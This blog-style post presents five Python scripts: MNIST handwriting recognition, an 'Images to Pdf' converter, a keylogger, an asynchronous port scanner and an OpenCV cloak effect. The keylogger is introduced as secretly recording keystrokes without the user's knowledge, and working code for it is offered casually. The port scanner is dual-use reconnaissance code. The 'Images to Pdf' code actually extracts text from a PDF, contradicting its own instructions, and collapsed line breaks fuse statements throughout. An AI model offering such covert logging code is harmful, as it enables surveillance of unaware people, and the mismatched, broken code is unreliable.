5 Useful Python Scripts to Use While Coding
- With Code Example
- August 29, 2024
A collection of useful Python scripts that every Python developer should know
Series - Python Snippets
One of the easiest programming languages to learn is Python. Additionally, it is highly sought in the software development sector. It helps you to automate processes, which makes laborious tasks simple. We’ll examine the top 5 Python applications in this post.
Handwriting Recognition using Python
The capacity of a computer to accept and interpret understandable handwritten input from resources such as paper documents, pictures, touch screens, and other devices is known as handwriting recognition (HWR), sometimes known as handwritten character recognition (HTR).
#Importing Libraries
import numpy as np
import tensorflow as tf
import tensorflow.contrib.learn as learn
import tensorflow.contrib.metrics as metrics#Importing Dataset
mnist = learn.datasets.load_dataset('mnist')#Training Datasets
data = mnist.train.images
labels = np.asarray(mnist.train.labels, dtype=np.int32)
test_data = mnist.test.images
test_labels = np.asarray(mnist.test.labels, dtype=np.int32)
feature_columns = learn.infer_real_valued_columns_from_input(data)#Applying Classifiers
classifier = learn.DNNClassifier(feature_columns=feature_columns, n_classes=10,hidden_units=[1024,512,256])
classifier.fit(data, labels, batch_size=100, steps=1000)#Evaluating the Results
classifier.evaluate(test_data, test_labels)
accuracy_score = classifier.evaluate(test_data, test_labels)["accuracy"]
print('Accuracy: {0:f}'.format(accuracy_score))
Images to Pdf using Python
Convert your images to a pdf file.
How to run :
1- Create a directory with images you want to create a pdf from
2- Name those images with numbers in the order you want
3- Run the script, it will ask you for the directory, and a name for your pdf
import PyPDF2
from os import path
import sysdef File_existance_checker(filePath):
if path.isfile(filePath):
return filePath
else:
print("[-] Provide a valid File")
sys.exit(1)
pdf_stored_path=input("Enter the name of you pdf file (please use backslash when typing in directory path):")textFile_stored_path=path.join(path.dirname(pdf_stored_path),path.basename(pdf_stored_path).replace(".pdf",".txt"))
pdf_stored_path=File_existance_checker(pdf_stored_path)print(textFile_stored_path)with open(pdf_stored_path,'rb') as pdf_object:
pdf_read=PyPDF2.PdfFileReader(pdf_object)
pdf_pages=pdf_read.numPages
for i in range(pdf_pages):
page_object=pdf_read.getPage(i)
with open(textFile_stored_path,'a+') as f:
f.write((page_object.extract_text()))
print(f"[+] Pdf Text has been extracted and written to {path.basename(textFile_stored_path)}")
Keylogger
The process of secretly recording the keys pressed on a keyboard such that the person using it is unaware that their activities are being watched is known as keystroke logging, also known as keylogging or keyboard capture. The person running the logging application can then get the data. Wikipedia
import pynput
from pynput.keyboard import Key, Listenerkeys = []
def on_press(key):
keys.append(key)
write_file(keys)def write_file(keys):
with open('log.txt', 'w') as f:
for key in keys:
#removing ''
k = str(key).replace("'", "")
f.write(k)
#explicitly adding a space after every keystroke for readability
f.write(' ')def on_release(key):
if key == Key.delete:
return Falsewith Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
Port Scanner
a straightforward Python program that asynchronously searches a server’s ports. As it processes ports in batches of 256, it is rather rapid.
import asyncio
from random import SystemRandomdef run(tasks, *, loop=None):
"""Run Asynchronous Tasks"""
if loop is None:
loop = asyncio.get_event_loop()
# waiting for all tasks
return loop.run_until_complete(asyncio.wait(tasks))async def scanner(ip, port, loop=None):
fut = asyncio.open_connection(ip, port, loop=loop)try:
reader, writer = await asyncio.wait_for(fut, timeout=0.5) # This is where it is blocking?
print("{}:{} Connected".format(ip, port))
except asyncio.TimeoutError:
pass
# handle connection refused and bunch of others
except Exception as exc:
print('Error {}:{} {}'.format(ip, port, exc))def scan(ips, ports, randomize=False):
"""Scan the ports"""
loop = asyncio.get_event_loop()
if randomize:
rdev = SystemRandom()
ips = rdev.shuffle(ips)
ports = rdev.shuffle(ports)# let's pass list of task, not only one
run([scanner(ip, port) for port in ports for ip in ips])ips = [input("IP to scan: ")]
STEP = 256
for r in range(STEP+1, 65536, STEP):
# print(r)
ports = [str(r) for r in list(range(r-STEP, r))]
scan(ips, ports)
Harry Potter Cloak using OpenCV
This entertaining Python software uses picture masking and the OpenCV module to simulate a Harry Potter cloak. Additionally, it does various mathematical operations using the NumPy library.
For this script to function correctly, your computer must have Python, Numpy, and the OpenCV library installed.
import cv2
import numpydef hello(x):
print("")if __name__=='__main__':
cap = cv2.VideoCapture(0)
bars = cv2.namedWindow("bars")cv2.createTrackbar("upper_hue","bars",110,180,hello)
cv2.createTrackbar("upper_saturation","bars",255, 255, hello)
cv2.createTrackbar("upper_value","bars",255, 255, hello)
cv2.createTrackbar("lower_hue","bars",68,180, hello)
cv2.createTrackbar("lower_saturation","bars",55, 255, hello)
cv2.createTrackbar("lower_value","bars",54, 255, hello)#Capturing the initial frame for creation of background
while(True):
cv2.waitKey(1000)
ret,init_frame = cap.read()
if(ret):
breakwhile(True):
ret,frame = cap.read()
inspect = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)#getting the HSV values for masking the cloak
upper_hue = cv2.getTrackbarPos("upper_hue", "bars")
upper_saturation = cv2.getTrackbarPos("upper_saturation", "bars")
upper_value = cv2.getTrackbarPos("upper_value", "bars")
lower_value = cv2.getTrackbarPos("lower_value","bars")
lower_hue = cv2.getTrackbarPos("lower_hue","bars")
lower_saturation = cv2.getTrackbarPos("lower_saturation","bars")#Kernel to be used for dilation
kernel = numpy.ones((3,3),numpy.uint8)upper_hsv = numpy.array([upper_hue,upper_saturation,upper_value])
lower_hsv = numpy.array([lower_hue,lower_saturation,lower_value])mask = cv2.inRange(inspect, lower_hsv, upper_hsv)
mask = cv2.medianBlur(mask,3)
mask_inv = 255-mask
mask = cv2.dilate(mask,kernel,5)
#The mixing of frames in a combination to achieve the required frame
b = frame[:,:,0]
g = frame[:,:,1]
r = frame[:,:,2]
b = cv2.bitwise_and(mask_inv, b)
g = cv2.bitwise_and(mask_inv, g)
r = cv2.bitwise_and(mask_inv, r)
frame_inv = cv2.merge((b,g,r))b = init_frame[:,:,0]
g = init_frame[:,:,1]
r = init_frame[:,:,2]
b = cv2.bitwise_and(b,mask)
g = cv2.bitwise_and(g,mask)
r = cv2.bitwise_and(r,mask)
blanket_area = cv2.merge((b,g,r))final = cv2.bitwise_or(frame_inv, blanket_area)cv2.imshow("Harry's Cloak",final)if(cv2.waitKey(3) == ord('q')):
break;cv2.destroyAllWindows()
cap.release()